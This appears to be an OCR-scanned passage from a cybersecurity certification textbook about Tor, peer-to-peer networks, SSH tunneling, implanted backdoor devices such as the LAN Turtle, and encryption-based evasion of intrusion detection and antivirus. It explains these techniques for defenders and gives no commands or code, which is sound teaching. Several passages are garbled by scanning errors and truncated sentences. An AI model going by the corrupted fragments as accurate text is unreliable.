ER.org

ng/Penetration Testing, Exploit

Germany 1

hdcker.org Engineering, Digital Forensics and

P o sources by Omar Santos.
New Circuit for this Site

nede may nat change. Learn mare

The Art of
Hacking Videos

The Art of Hacking is a
series of on-demand video
courses where you learn
the key tenets of ethical
hacking and security
penetration testing
techniques, These video
courses provide stop@iipy
step real-life scaffarios.

Al

Ethical Hacking
Safari Lives
Training

Live training (fade with

ArgslkscNption)

where yaulican [R@en g

theffund@gentals of
2thical hatking
(p@hetratien testing) to
@dvanted exploitation,
“wefion, and adversarial
topics.

your S

Figure 12-4 The“Tor Browser

5 yberss@urity
+@ndamentals

This training helps
candidates that are
getting started in
cybersecurity and those
who are preparing for
certifications such as
CCNA CyberOps, CCNA
Security, CompTlA
Sacurity+, CompTIlA
CySA+, CEH, CISSP, GSEC

jo

Digital Forensics
and Incident
Response

Learn the details about
Digital Forensics and
Incident Response (DFIR).
This training covers
modern incident response
techniques including
threat hunting. how to
effectively use threat
intelligence, and how to

NOTE Security products such as the Cisco Next-Generation Firepower software provide
the capability to dynamically learn and block Tor exit nodes.

Security Monitoring and Peer-to-Peer Communication

Ke
Togic

which is why it’s called a peer-to-peer network of nodes.

Peer-to-peer (P2P) communication involves a distributed architecture that divides tasks
between participant computing peers. In a P2P network, the peers are equally privileged,

P2P participant computers or nodes reserve a chunk of their resources (such as CPU, mem-
ory, disk storage, and network bandwidth) so that other peers or participants can access
those resources. This is all done without the need of a centralized server. In P2P networks,
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each peer can be both a supplier as well as a consumer of resources or data. A good example
was the music-sharing application Napster back in the 1990s.

P2P networks have been used to share music, videos, stolen books, and other data; even
legitimate multimedia applications such as Spotify use a peer-to-peer network along with
streaming servers to stream audio and video to their clients. There’s even an application
called Peercoin (also known as PPCoin) that’s a P2P crypto currency that utilizes both
proof-of-stake and proof-of-work systems.

Universities such as MIT and Penn State have even created a project called LionShare, which
is designed to share files among educational institutions globally.

From a security perspective, P2P systems introduce unique challenges. Malware has used
P2P networks to communicate and also spread to victims. Many “free” or stolen music and
movie files usually come with the surprise of malware. Additionally, like any other form of
software, P2P applications are not immune to security vulnerabilities. Fhis,.of course, intro-
duces risks for P2P software because it is more susceptible to remo oits, due to the
nature of the P2P network architecture.

Additional Evasion and Obfuscation %iques
(& t

Attackers can use SSH to hide traffic, such as creating
system back to an external SSH server, hiding sensiti
Figure 12-5 provides an example of how a typical

unnel from a breached
the traffic leaves the network.
ssion functions.

Remote Host

& w4
Connection Connection
/

Corporate Network

Figure 12-5 SSH VPN Example

You can use SSH tunnels over other tunnels such as VPNs, DNS tunnels, and so on. For
instance, you can create a DNS tunnel and then have an SSH tunnel over it.

There are many use cases where an attacker breaches a network and launches some form of a
VPN session. An example is using Hak5’s LAN Turtle USB adapter, which can be configured
to auto-launch a reverse SSH tunnel to a cloud storage server, essentially creating a cloud-
accessible backdoor to a victim’s network.

It is challenging for an administrator to identify the LAN Turtle because it sits on a trusted
system and does not require an IP address of its own to provide the reverse-encrypted tunnel
out of the network.
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Figure 12-6 shows an example of a LAN Turtle plugged into a server, providing an encrypted
tunnel to an attacker’s remote server. This would represent a physical attack that leads to a
backdoor for external malicious parties to access.

Attacker Cloud
Server

Stolen Data

Internet
Connection

i
Y AN Turtie

Internal

Server
Figure 12-6 LAN Turtle SSH Tunnel %

The LAN Turtle is just one example of the man Q available that can be planted on a net-
work to create an unauthorized backdoor, The Packet Squirrel is another device that can be
deployed to give an attacker remoteacc target network. All of these tools are avail-
able to the public on websites like ha

1e actual data. There are many techniques for doing
this, such as enterprise file e 'technologies that encrypt files and control access

i a software agent installed on a server that speci-

ted. When a file is removed that should be encrypted, it is
cess provided only to people within a specific authentication
roup can use a host-based agent that auto-logs them in to the file,

The term data at rest means data that is placed on a storage medium. Data-at-rest security
requirements typically refer to the ability to deny all access to stored data that is deemed
sensitive and at risk of being exposed. Typically, this is done by encrypting data and later
removing all methods to unencrypt the data. Examples include hard disk encryption where a
hard drive is encrypted, making it impossible to clone. The same concept can be applied to
file encryption technology, where the data owner can expire access to the file, meaning all
users won’t be able to unencrypt it.

Many attackers abuse encryption concepts such as file and protocol encryption to hide mali-
cious code. An example would be an attack happening from a web server over SSL encryp-
tion to hide the attack from network intrusion detection technologies. This works because a
network intrusion detection tool uses signatures to identify a threat, which is useless if the
traffic being evaluated is encrypted. Another example would be encoding a malicious file
with a bunch of pointless text, with the goal of confusing an antivirus application. Antivirus
applications also use signatures to detect threats, so adding additional text to malicious code
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